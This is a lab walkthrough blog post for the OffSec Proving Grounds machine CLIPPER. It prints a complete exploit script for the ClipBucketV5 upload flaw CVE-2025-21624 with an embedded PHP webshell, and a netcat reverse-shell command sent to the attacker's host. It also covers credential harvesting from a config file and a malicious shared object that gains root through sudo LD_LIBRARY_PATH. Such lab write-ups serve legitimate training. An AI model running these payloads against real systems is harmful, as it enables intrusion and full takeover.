Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - CLIPPER

·2475 words·12 mins·
OFFSEC PG PRACTICE CLIPBUCKETV5 LSOF LDD GCC SETENV LD_LIBRARY_PATH
Table of Contents

Summary
#

On port 80 there is an application called ClipBucketV5 - v5.5.0 for which a file upload / RCE is available (CVE-2025-21624). Using this exploit we get initial access as the www-data user. Once on the target we find database credentials and reuse the password to move laterally to the pierre user. Checking the sudo privileges, we are allowed to set environment variables while running lsof. Listing all shared object dependencies, creating our own .so file and setting the LD_LIBRARY_PATH environment variable to our location / shared object we escalate privileges to the root user.

Specifications
#

  • Name: CLIPPER
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Intermediate
  • System overview: Linux clipper 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64 GNU/Linux
  • IP address: 192.168.105.191
  • OFFSEC provided credentials: None
  • HASH: local.txt:4170ac4e755c1e76d4c8a86cb15b8350
  • HASH: proof.txt:a7da6b96f76a7c7cc15f355a4abcdd40

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir clipper && cd clipper && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep  6 07:53 .
drwxrwxr-x 55 kali kali 4096 Sep  6 07:53 ..
drwxrwxr-x  2 kali kali 4096 Sep  6 07:53 enum
drwxrwxr-x  2 kali kali 4096 Sep  6 07:53 exploits
drwxrwxr-x  2 kali kali 4096 Sep  6 07:53 files
drwxrwxr-x  2 kali kali 4096 Sep  6 07:53 tools
drwxrwxr-x  2 kali kali 4096 Sep  6 07:53 uploads

## set bash variable
ip=192.168.105.191

## ping target to check if it's online
ping $ip

PING 192.168.105.191 (192.168.105.191) 56(84) bytes of data.
64 bytes from 192.168.105.191: icmp_seq=1 ttl=61 time=21.7 ms
64 bytes from 192.168.105.191: icmp_seq=2 ttl=61 time=22.1 ms
^C
--- 192.168.105.191 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 21.726/21.907/22.088/0.181 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.105.191:22
Open 192.168.105.191:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-06 07:54 CEST
Initiating Ping Scan at 07:54
Scanning 192.168.105.191 [4 ports]
Completed Ping Scan at 07:54, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:54
Completed Parallel DNS resolution of 1 host. at 07:54, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:54
Scanning 192.168.105.191 [2 ports]
Discovered open port 80/tcp on 192.168.105.191
Discovered open port 22/tcp on 192.168.105.191
Completed SYN Stealth Scan at 07:54, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.105.191
Host is up, received reset ttl 61 (0.030s latency).
Scanned at 2025-09-06 07:54:00 CEST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 fc:72:06:8f:ef:ec:9b:87:f3:95:ca:f2:e7:1f:ea:dc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFyksaWzSNfPbN6T3ts7+fGJ0/9aIXrN7HimSzjO+W6pfa1Qq4QZb/hnkglJwvjgcTOQiraq2M9EQ9JtbRC1ROY=
|   256 42:c2:f0:fd:85:f6:93:cb:bd:a0:e8:ed:c1:a2:6d:60 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHbDRRUQ2YifMbadcFEg6fdgQ2bcGEHcQyrud/UFwLiy
80/tcp open  http    syn-ack ttl 61 nginx 1.22.1
|_http-title: ClipBucketV5 - v5.5.0 STABLE - A way to broadcast yourself
|_http-favicon: Unknown favicon MD5: DD28865C5381B02BFAB0E044F6998F53
|_http-server-header: nginx/1.22.1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

80/tcp open  http    syn-ack ttl 61 nginx 1.22.1
|_http-title: ClipBucketV5 - v5.5.0 STABLE - A way to broadcast yourself
|_http-favicon: Unknown favicon MD5: DD28865C5381B02BFAB0E044F6998F53
|_http-server-header: nginx/1.22.1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST

On port 80 there is an application running called ClipBucketV5 - v5.5.0.

When we click on Login in the upper right corner, we can login using the weak credentials: admin:admin. However, once we try to login with these credentials it wants to connect to this hostname: clipbucket.local. So, we first need to add this to our /etc/hosts file. Otherwise we’ll not be able to connect.

echo "192.168.105.191 clipbucket.local" | sudo tee -a /etc/hosts

Reconnect now, refresh the page and we get logged in.

When we search the internet for an existing exploit of this application, we can find: https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-98vm-2xqm-xrcc (CVE-2025-21624). This shows the exploit Proof-of-Concept (PoC). Let’s save it locally.

## change directory
cd exploits

Save the content below as exploit.py.

#!/usr/bin/python

# by Ka Wing Ho - wingz
# assumes Linux system not Windows
# python poc.py <username> <password> <http(s)://target>

from datetime import datetime
import requests
import sys

# get args
USAGE = "Usage: python {} <username> <password> <http(s)://target>".format(sys.argv[0])
if len(sys.argv) < 4:
    print(USAGE)
    sys.exit()

user = sys.argv[1]
passw = sys.argv[2]
target = sys.argv[3]

if 'http' not in target:
    print(USAGE)
    print("[>] Please specify http:// or https:// protocol")
    sys.exit()

# remove trailing slash if present
if target[-1] == "/": target = target[:-1]

# testing connection to target
r = requests.get(target)
if "ClipBucketV5" not in r.text:
    print("[>] Target frontpage not accessible or is not ClipBucketV5")
    sys.exit()

# obtain user session
s = requests.Session()
login_data = {
        "login"   : "login",
        "username": user,
        "password": passw
}

r = s.post("{}/signup.php?mode=login".format(target),login_data)
if 'Username and Password Didn&#039;t Match' in r.text:
    print("[>] Authentication failed, bad username and/or password")
    sys.exit(1)

# check if admin or not, adjust web request
r = s.get(target)
if "Admin Area" in r.text:
    print("[+] Admin session, using Admin URL")
    upload_url = "/admin_area/manage_playlist.php"
    isAdmin = True
else:
    print("[+] Low-level session, using regular user URL")
    upload_url = "/manage_playlists.php"
    isAdmin = False

# upload webshell
dt = datetime.today().strftime('%Y/%m/%d')
webshell_code = '''<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>'''

payload = {
    "upload_playlist_cover": (None,"1"),
    "playlist_cover" : ("shell.php", webshell_code)
} # we don't need any of the other parameters, just the essentials

r = s.post("{}{}?mode=edit_playlist&pid=1337".format(target,upload_url), files=payload)
if isAdmin and r.status_code == 200 and "Playlist does not exist" in r.text:
    print("[+] Webshell upload as admin succeeded")
elif not isAdmin and r.status_code == 200 and "Playlist cover has been uploaded" in r.text:
    print("[+] Webshell upload as low-level user succeeded")
else:
    print("[-] Webshell upload failed!!!")
    sys.exit(1)

# verify webshell (with unauth-ed session)
webshell_url = "{}/images/playlist_covers/{}/1337.php".format(target,dt)
r = requests.get(webshell_url)
if r.status_code == 404:
    # you may have to try +- 1 day to account for different server clocktimes
    print("[>] Webshell browsing failed! Maybe incorrect date in URL path: {}".format(dt))
    print("[>] Try increasing/decreasing the date: {}".format(webshell_url))
    sys.ext(1)
elif r.status_code == 200:
    pass
else:
    print("[>] Unknown error: {}".format(r.status_code))
    sys.exit(2)

# execute webshell sample (with unauth-ed session)
cmd = "cat+/etc/passwd"
rce_url = "{}/images/playlist_covers/{}/1337.php?cmd={}".format(target,dt,cmd)
print("[+] Sample webshell usage: \033[94m{}\x1b[0m (you can copy+paste this in browser)".format(rce_url))
r = requests.get(rce_url)

print(r.text.replace("<pre>","\n").replace("</pre>",""))

cmd = "rm+1337.php"
delete_url = "{}/images/playlist_covers/{}/1337.php?cmd={}".format(target,dt,cmd)
print("[+] Cleanup: use the webshell to delete itself => \033[93m{}\x1b[0m (you can copy+paste this in browser)".format(delete_url))

Now we can run the exploit to get the example /etc/passwd output. We can copy the URL: http://clipbucket.local/images/playlist_covers/2025/09/06/1337.php?cmd=cat+/etc/passwd and change the command to what we want. Let’s now get a reverse shell on the target as the www-data user in the /opt/clipbucket-v5-5.5.0/upload/images/playlist_covers/2025/09/06 directory.

## run the exploit
python3 exploit.py admin admin http://clipbucket.local              
[+] Admin session, using Admin URL
[+] Webshell upload as admin succeeded
[+] Sample webshell usage: http://clipbucket.local/images/playlist_covers/2025/09/06/1337.php?cmd=cat+/etc/passwd (you can copy+paste this in browser)

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
mysql:x:102:109:MySQL Server,,,:/nonexistent:/bin/false
smmta:x:103:110:Mail Transfer Agent,,,:/var/lib/sendmail:/usr/sbin/nologin
smmsp:x:104:111:Mail Submission Program,,,:/var/lib/sendmail:/usr/sbin/nologin
_mta-sts:x:105:112::/var/lib/mta-sts/:/usr/sbin/nologin
pierre:x:1000:1000::/home/pierre:/bin/bash

[+] Cleanup: use the webshell to delete itself => http://clipbucket.local/images/playlist_covers/2025/09/06/1337.php?cmd=rm+1337.php (you can copy+paste this in browser)

## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.243/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::16c4:7f54:1da6:daf8/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever


## setup a listener
nc -lvnp 9001    
listening on [any] 9001 ...

## send the reverse shell command -> paste in the browser
http://clipbucket.local/images/playlist_covers/2025/09/06/1337.php?cmd=nc+192.168.45.243+9001+-c+bash

## catch the reverse shell
nc -lvnp 9001    
listening on [any] 9001 ...
connect to [192.168.45.243] from (UNKNOWN) [192.168.105.191] 45828

## print current user
whoami
www-data

## print current working directory
pwd
/opt/clipbucket-v5-5.5.0/upload/images/playlist_covers/2025/09/06

## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/pierre/local.txt

## print `local.txt`
cat /home/pierre/local.txt
a3c48a1ab315f3d1e7a5226c6e4269ba

Lateral Movement
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
<v5-5.5.0/upload/images/playlist_covers/2025/09/05$ export TERM=xterm && stty columns 200 rows 200

One of the first thing you could do is look for credentials in a webapplication and/or used database. So, let’s try to find some. And indeed, we find database credentials: clipbucket:ODk5OGNkNDdmNWQ1OWU3Mjg2YWYyMjFl.

## change directory
www-data@clipper:/opt/clipbucket-v5-5.5.0/upload/images/playlist_covers/2025/09/06$ cd /opt/clipbucket-v5-5.5.0/
www-data@clipper:/opt/clipbucket-v5-5.5.0$

## use `find` to locate all files with `conf` in it and use `grep` to search for `password`
www-data@clipper:/opt/clipbucket-v5-5.5.0$ find . -iname '*conf*' 2>/dev/null | xargs grep -A 3 -B 3 -i 'password' 
grep: ./upload/vendor/predis/predis/src/Configuration: Is a directory
grep: ./upload/vendor/smarty/smarty/demo/configs: Is a directory
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-        }
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-        if (isset($config['pass'])) {
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php:            $mailer->Password = $config['pass'];
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-        }
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-    }
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-
--
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-        unset($allowedOptions['Mailer']);
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-        unset($allowedOptions['SMTPAuth']);
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-        unset($allowedOptions['Username']);
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php:        unset($allowedOptions['Password']);
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-        unset($allowedOptions['Hostname']);
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-        unset($allowedOptions['Port']);
./upload/vendor/phpmailer/phpmailer/src/DSNConfigurator.php-        unset($allowedOptions['ErrorInfo']);
--
./upload/cb_install/config.php-$DBNAME = '_DB_NAME_';
./upload/cb_install/config.php-//Database Username
./upload/cb_install/config.php-$DBUSER = '_DB_USER_';
./upload/cb_install/config.php://Database Password
./upload/cb_install/config.php-$DBPASS = '_DB_PASS_';
./upload/cb_install/config.php-//Database Port
./upload/cb_install/config.php-$DBPORT = '_DB_PORT_';
--
./upload/cb_install/sql/configs.sql-    (NULL, 'video_round_views', 'yes'),
./upload/cb_install/sql/configs.sql-    (NULL, 'access_to_logged_in', 'no'),
./upload/cb_install/sql/configs.sql-    (NULL, 'pick_geo_country', 'yes'),
./upload/cb_install/sql/configs.sql:    (NULL, 'password_salt', SUBSTRING(HEX(SHA2(CONCAT(NOW(), RAND(), UUID()), 512)),1, 32)),
./upload/cb_install/sql/configs.sql-    (NULL, 'show_collapsed_checkboxes', '0'),
./upload/cb_install/sql/configs.sql-    (NULL, 'enable_advertisement', 'no'),
./upload/cb_install/sql/configs.sql-    (NULL, 'chromecast', 'yes'),
--
./upload/cb_install/sql/configs.sql-    (NULL, 'proxy_url', ''),
./upload/cb_install/sql/configs.sql-    (NULL, 'proxy_port', ''),
./upload/cb_install/sql/configs.sql-    (NULL, 'proxy_username', ''),
./upload/cb_install/sql/configs.sql:    (NULL, 'proxy_password', ''),
./upload/cb_install/sql/configs.sql-    (NULL, 'player_default_resolution', '1080'),
./upload/cb_install/sql/configs.sql-    (NULL, 'keep_audio_tracks', '1'),
./upload/cb_install/sql/configs.sql-    (NULL, 'keep_subtitles', '1'),
--
./upload/cb_install/sql/configs.sql-    (NULL, 'cache_enable', 'no'),
./upload/cb_install/sql/configs.sql-    (NULL, 'cache_auth', 'no'),
./upload/cb_install/sql/configs.sql-    (NULL, 'cache_host', ''),
./upload/cb_install/sql/configs.sql:    (NULL, 'cache_password', ''),
./upload/cb_install/sql/configs.sql-    (NULL, 'cache_port', ''),
./upload/cb_install/sql/configs.sql-    (NULL, 'disable_email', 'no'),
./upload/cb_install/sql/configs.sql-    (NULL, 'enable_country', 'no'),
--
./upload/includes/config.php-$DBNAME = 'clipbucket';
./upload/includes/config.php-//Database Username
./upload/includes/config.php-$DBUSER = 'clipbucket';
./upload/includes/config.php://Database Password
./upload/includes/config.php-$DBPASS = 'ODk5OGNkNDdmNWQ1OWU3Mjg2YWYyMjFl';
./upload/includes/config.php-//Database Port
./upload/includes/config.php-$DBPORT = '3306';

When looking for users, we find two user: root and pierre. Perhaps there is credential reuse in play. Let’s switch to the pierre user and paste in the password: ODk5OGNkNDdmNWQ1OWU3Mjg2YWYyMjFl. Indeed. We get logged in as pierre.

## print users with a shell
www-data@clipper:/opt/clipbucket-v5-5.5.0$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
pierre:x:1000:1000::/home/pierre:/bin/bash

## switch to the `pierre` user
www-data@clipper:/opt/clipbucket-v5-5.5.0$ su pierre
Password: 
pierre@clipper:/opt/clipbucket-v5-5.5.0$ 

Privilege Escalation
#

Checking the sudo privileges of this user we see that this user can set set environment variables for the lsof binary as the root user.

## print sudo privileges
pierre@clipper:/opt/clipbucket-v5-5.5.0$ sudo -l
[sudo] password for pierre: 
Matching Defaults entries for pierre on localhost:
    !env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User pierre may run the following commands on localhost:
    (root) SETENV: /usr/bin/lsof*

Let’s create our own binary to escalate our privileges to the root user. First, create a C program with the code to get use a shell as the root user (uid=0/gid=0).

## change directory
cd files

Create a file called exploit.c with this content:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
	system("cp /bin/bash /var/tmp/bash && chmod +s /var/tmp/bash && /var/tmp/bash -p");
}
	

Now compile the code to a hared object. If you get any errors, just ignore them. No, upload the .so file to the target. First, we need to look at the shared object that the lsof binary is dependent on.

## list all shared object dependencies of `lsof`
pierre@clipper:/var/tmp$ ldd /usr/bin/lsof 
        linux-vdso.so.1 (0x00007ffe6efb6000)
        libtirpc.so.3 => /lib/x86_64-linux-gnu/libtirpc.so.3 (0x00007f38edf84000)
        libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f38edf56000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f38edd75000)
        libgssapi_krb5.so.2 => /lib/x86_64-linux-gnu/libgssapi_krb5.so.2 (0x00007f38edd22000)
        libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f38edc88000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f38edfea000)
        libkrb5.so.3 => /lib/x86_64-linux-gnu/libkrb5.so.3 (0x00007f38edbac000)
        libk5crypto.so.3 => /lib/x86_64-linux-gnu/libk5crypto.so.3 (0x00007f38edb7f000)
        libcom_err.so.2 => /lib/x86_64-linux-gnu/libcom_err.so.2 (0x00007f38edb79000)
        libkrb5support.so.0 => /lib/x86_64-linux-gnu/libkrb5support.so.0 (0x00007f38edb6b000)
        libkeyutils.so.1 => /lib/x86_64-linux-gnu/libkeyutils.so.1 (0x00007f38edb64000)
        libresolv.so.2 => /lib/x86_64-linux-gnu/libresolv.so.2 (0x00007f38edb53000)

Rename the exploit.so example, libkrb5.so.3 or libk5crypto.so.3 / libkeyutils.so.1 / libresolv.so.2 (they all give root access) and set the LD_LIBRARY_PATH environment variable to /var/tmp while running the sudo command the to escalate our privileges to the root user.

## compile the C code
gcc -fPIC -shared -nostartfiles -o exploit.so exploit.c

## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.243/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::16c4:7f54:1da6:daf8/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## setup a webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target:
## change directory
pierre@clipper:/opt/clipbucket-v5-5.5.0$ cd /var/tmp
pierre@clipper:/var/tmp$

## download `exploit.so`
pierre@clipper:/var/tmp$ wget http://192.168.45.243/exploit.so
--2025-09-06 07:10:59--  http://192.168.45.243/exploit.so
Connecting to 192.168.45.243:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14152 (14K) [application/octet-stream]
Saving to: ‘exploit.so’

exploit.so                                          0%[                                                                                          exploit.so                                        100%[=============================================================================================================>]  13.82K  --.-KB/s    in 0.03s   

2025-09-06 07:10:59 (463 KB/s) - ‘exploit.so’ saved [14152/14152]

## rename `exploit.so` to `libkrb5.so.3`
pierre@clipper:/var/tmp$ mv exploit.so libkrb5.so.3

## force `lsof` to load our `libkrb5.so.3` from `/var/tmp`
pierre@clipper:/var/tmp$ sudo LD_LIBRARY_PATH=/var/tmp /usr/bin/lsof
/usr/bin/lsof: /var/tmp/libkrb5.so.3: no version information available (required by /lib/x86_64-linux-gnu/libgssapi_krb5.so.2)
root@clipper:/var/tmp# 

## print `proof.txt`
root@clipper:/var/tmp# cat /root/proof.txt
a7da6b96f76a7c7cc15f355a4abcdd40

References
#

[+] https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-98vm-2xqm-xrcc

Related

OFFSEC - Proving Grounds - WORKAHOLIC
·2806 words·14 mins
OSCP OFFSEC PG PRACTICE WPPROBE SQLMAP HASHCAT FTP STRACE GCC
Use OFFSEC creds or scan Wordpress. Exploit a Wordpress vulnerability (CVE-2024-9796), crack hashes for charlie/ted. FTP as ted and SSH in as charlie. Escalate to root via SUID binary with custom shared object.
OFFSEC - Proving Grounds - CHARLOTTE
·4141 words·20 mins
OFFSEC PG PRACTICE SHOWMOUNT GOBUSTER BURP EJS SSH-KEYGEN
Use credentials or mount shares for application code. Leak creds via nginx (80) using BURP. Exploit RCE as www-data. Deploy JS to abuse a cronjob and move laterally. Escalate to root with sudo/bash.
OFFSEC - Proving Grounds - HUGS
·2377 words·12 mins
OFFSEC PG PRACTICE HUGEGRAPH ENV_KEEP
SSH with provided creds or exploit HugeGraph 1.2.0 (CVE-2024-27348) on 8080 for initial acces. Get mesbaha credentials from rest-server.properties file and SSH laterally, exploit sudo /home/mesbaha/reporter.sh to root.
OFFSEC - Proving Grounds - SYNAPSE
·3175 words·15 mins
OFFSEC PG PRACTICE SSI JOHN GPG2JOHN MD5SUM SOCAT
Synapse web app on port 80 allows SSI abuse via profile picture upload. Gain www-data access, crack GPG key to become mindsflee user, then use sudo synapse_commander.py with socat to escalate to root.
OFFSEC - Proving Grounds - BITFORGE
·4120 words·20 mins
OSCP OFFSEC PG PRACTICE SIMPLE ONLINE PLANNING GIT GIT-DUMPER MYSQL PSPY FLASK
Git on port 80 leaks MySQL credentials. RCE in Simple Planning v1.52.01 for initial access, with pspy64 find jack’s credentials and changing flask script escalates to root.
OFFSEC - Proving Grounds - LAVITA
·2978 words·14 mins
OSCP OFFSEC PG PRACTICE LARAVEL
SSH in or exploit Laravel 8.4.0 with APP_DEBUG is set to true to gain www-data access. Abuse skunk’s script to escalate to skunk and use sudo /usr/bin/composer to edit composer.json to escalate privileges.